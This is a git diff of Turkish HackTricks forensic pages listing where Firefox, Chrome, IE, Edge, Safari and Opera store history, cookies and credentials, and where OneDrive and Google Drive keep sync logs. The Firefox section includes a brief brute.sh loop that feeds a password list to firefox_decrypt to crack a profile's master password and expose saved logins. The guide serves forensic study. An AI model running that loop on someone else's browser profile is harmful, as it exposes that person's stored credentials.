-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest'i**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Tarayıcı Araçları +## Tarayıcı Kalıntıları -Tarayıcı araçları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir. Bu araçlar, gezinme geçmişi, yer imleri ve önbellek verileri gibi verileri içeren işletim sistemi içindeki belirli klasörlerde saklanır. Tarayıcılara göre konum ve isim açısından farklılık gösterse de genellikle benzer veri türlerini depolarlar. +Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar işletim sistemi içinde belirli klasörlerde saklanır, tarayıcılara göre konum ve ad farklı olabilir, ancak genellikle benzer veri türlerini depolarlar. -İşte en yaygın tarayıcı araçlarının özeti: - -- **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere yapılan ziyaretleri belirlemek için kullanışlıdır. -- **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişiyle birleştirildiğinde bilgi sağlar. -- **Yer İmleri**: Kullanıcının hızlı erişim için kaydettiği siteler. -- **Eklentiler ve Ek Paketler**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya ek paketler. -- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) web sitesi yükleme sürelerini iyileştirmek için depolar, adli analiz için değerlidir. -- **Oturum Açma Bilgileri**: Kaydedilen oturum açma kimlik bilgileri. -- **Favikonlar**: Sekmelerde ve yer imlerinde görünen web siteleriyle ilişkilendirilen simgeler, kullanıcı ziyaretleri hakkında ek bilgi sağlar. -- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. -- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. -- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik tamamlama önerileri için kaydedilir. -- **Küçük Resimler**: Web sitelerinin önizleme görüntüleri. -- **Custom Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler. +İşte en yaygın tarayıcı kalıntılarının özeti: +* **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere ziyaretleri tanımlamak için faydalıdır. +* **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar. +* **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler. +* **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri. +* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirmek için değerli bir araştırma analizi aracıdır. +* **Girişler**: Saklanan giriş kimlik bilgileri. +* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır. +* **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. +* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. +* **Form Verileri**: Web formlarına girilen bilgiler, gelecekte otomatik doldurma önerileri için kaydedilir. +* **Küçük Resimler**: Web sitelerinin önizleme görüntüleri. +* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler. ## Firefox -Firefox, kullanıcı verilerini profiller içinde düzenler ve işletim sistemine bağlı olarak belirli konumlarda depolar: +Firefox, kullanıcı verilerini işletim sistemine bağlı olarak belirli konumlarda depolanan profiller içinde düzenler: -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +* **Linux**: `~/.mozilla/firefox/` +* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkenine adı verilen bir klasörde depolanır. Bir profil klasörü eksikse, silinmiş olabilir. +Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkeninde adlandırılan bir klasörde saklanır. Bir profil klasörü eksikse, silinmiş olabilir. -Her profil klasörü içinde, birkaç önemli dosya bulunur: +Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: -- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri depolar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir. -- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın. -- **bookmarkbackups**: Yer imi yedeklerini içerir. -- **formhistory.sqlite**: Web formu verilerini depolar. -- **handlers.json**: Protokol işleyicilerini yönetir. -- **persdict.dat**: Özel sözlük kelimeleri. -- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve ek paketler hakkında bilgi. -- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile incelenebilir. -- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlarla erişilebilir. -- **favicons.sqlite**: Favikonları depolar. -- **prefs.js**: Kullanıcı ayarları ve tercihleri. -- **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir. -- **thumbnails**: Web sitesi küçük resimleri. -- **logins.json**: Şifreli oturum açma bilgileri. -- **key4.db** veya **key3.db**: Hassas bilgileri korumak için şifreleme anahtarlarını depolar. +* **places.sqlite**: Geçmişi, yer imlerini ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gibi araçlar geçmiş verilerine erişebilir. +* Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın. +* **bookmarkbackups**: Yer imlerinin yedeklerini içerir. +* **formhistory.sqlite**: Web formu verilerini saklar. +* **handlers.json**: Protokol işleyicilerini yönetir. +* **persdict.dat**: Özel sözlük kelimeleri. +* **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri. +* **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) kullanılabilir. +* **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir. +* **favicons.sqlite**: Favikonları saklar. +* **prefs.js**: Kullanıcı ayarları ve tercihleri. +* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir. +* **thumbnails**: Web sitesi küçük resimleri. +* **logins.json**: Şifrelenmiş giriş bilgileri. +* **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar. -Ek olarak, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayabilirsiniz. Bu girişler, güvenli gezinme özelliklerinin etkin veya devre dışı olup olmadığını gösterir. +Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakılıp bırakılmadığını kontrol edebilirsiniz. - -Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresini kullanabilirsiniz.\ -Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek brute force yapabilirsiniz: +Ana şifreyi çözmek için şu adresten [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) yararlanabilirsiniz\ +Aşağıdaki betik ve çağrı ile kaba kuvvetle bir şifre dosyası belirleyebilirsiniz: {% code title="brute.sh" %} ```bash @@ -87,10 +85,6 @@ echo "Trying $pass" echo "$pass" | python firefox_decrypt.py done < $passfile ``` -{% endcode %} - -![](<../../../.gitbook/assets/image (417).png>) - ## Google Chrome Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar: @@ -99,52 +93,57 @@ Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirl - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli verileri içerir: +Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Önemli verileri içeren aşağıdaki dosyalar bulunmaktadır: -- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcının bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlara sahiptir. -- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) kullanılabilir. -- **Cache**: Önbelleğe alınmış verileri saklar. Windows kullanıcıları, [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) aracını kullanabilir. +- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir. +- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir. +- **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir. - **Bookmarks**: Kullanıcı yer imleri. - **Web Data**: Form geçmişini içerir. - **Favicons**: Web sitesi faviconlarını saklar. - **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir. - **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler. -- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi. +- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturum sırasında aktif olan siteler hakkında bilgi. - **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. -- **Thumbnails**: Web sitesi küçük resimlerini saklar. -- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya. -- **Tarayıcının yerleşik anti-phishing özelliği**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` ifadesini arayın. - +- **Thumbnails**: Web sitesi minik resimlerini saklar. +- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya. +- **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. ## **SQLite DB Veri Kurtarma** -Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinen girişleri kurtarmak mümkündür ve bunun için [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) aracı kullanılabilir. +Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinmiş girişleri kurtarmak için [**sqlparse**](https://github.com/padfoot999/sqlparse) veya [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) gibi araçlar kullanılabilir. ## **Internet Explorer 11** -Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için çeşitli konumlarda yönetir. +Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için farklı konumlarda yönetir. ### Metadata Depolama -Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) dosyasında saklanır. Buna ek olarak, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı uyumsuzlukları gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterir. Bu ESE veritabanında saklanan metadata, sırasıyla photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri belirlemek mümkündür. Bu, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir. + +Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterebilir. Bu ESE veritabanında bulunan metadata, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir. ### Önbellek İnceleme -[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbelleği incelemek için kullanılır ve önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. + +[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesine olanak tanır, önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kökeni ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. ### Çerez Yönetimi -Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve metadata, isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` dizininde saklanırken, oturum çerezleri bellekte bulunur. + +Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, metadata isimleri, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır. ### İndirme Ayrıntıları -İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracıyla erişilebilir ve belirli konteynerler, URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. + +İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. ### Gezinti Geçmişi -Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir. Bu, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` dizininde bulunur. + +Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur. ### Yazılan URL'ler -Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında kaydedilir. Bu, kullanıcının girdiği son 50 URL'yi ve son giriş zamanlarını takip eder. + +Yazılan URL'ler ve kullanım zamanları, kullanıcı tarafından girilen son 50 URL'yi ve son giriş zamanlarını takip eden `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` içinde saklanır. ## Microsoft Edge -Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` dizininde saklar. Farklı veri türleri için yol şunlardır: +Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Farklı veri türleri için yollar şunlardır: - **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -154,10 +153,26 @@ Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` di ## Safari -Safari verileri `/Users/$User/Library/Safari` dizin -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni alın. -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu. -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunları içerir: - +- **History.db**: URL'leri ve ziyaret zamanlarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın. +- **Downloads.plist**: İndirilen dosyalar hakkında bilgi. +- **Bookmarks.plist**: Yer imlerini saklar. +- **TopSites.plist**: En sık ziyaret edilen siteler. +- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. +- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. +- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. +- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir. + +## Opera + +Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un geçmiş ve indirme formatını paylaşır. + +- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled`in `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz. + +Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir. +* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index b959fc01a..4f9569e5e 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,135 +2,135 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` dizininde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: +Windows'ta, OneDrive klasörünü `\Users\\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulabilirsiniz: * Bayt cinsinden boyut * Oluşturma tarihi * Değiştirme tarihi -* Bulutta bulunan dosyaların sayısı -* Klasörde bulunan dosyaların sayısı +* Bulutta bulunan dosya sayısı +* Klasörde bulunan dosya sayısı * **CID**: OneDrive kullanıcısının benzersiz kimliği * Rapor oluşturma zamanı -* İşletim sistemi HD'nin boyutu +* İşletim sisteminin HD boyutu -CID'yi bulduktan sonra, bu kimliği içeren dosyaları **aramanız önerilir**. OneDrive ile senkronize edilen dosyaların adlarını içeren _**\.ini**_ ve _**\.dat**_ adında dosyalar bulabilirsiniz. +CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ adında dosyalar bulabilir ve bu dosyalarda OneDrive ile senkronize edilen dosyaların adlarını içerebilecek ilginç bilgiler bulabilirsiniz. ## Google Drive -Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` dizininde bulabilirsiniz.\ -Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgileri içeren Sync\_log.log adlı bir dosya içerir. Silinen dosyalar bile ilgili MD5 ile birlikte bu günlük dosyasında görünür. +Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\ +Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosyayı içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür. -**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda senkronize edilen dosyaların **adı**, **değiştirilme zamanı**, **boyutu** ve **MD5 karma değeri** bulunabilir. +**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 karma değeri bulunabilir. -Veritabanının **`Sync_config.db`** tablo verileri, hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. +Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. ## Dropbox -Dropbox, dosyaları yönetmek için **SQLite veritabanlarını** kullanır. Bu\ +Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\ 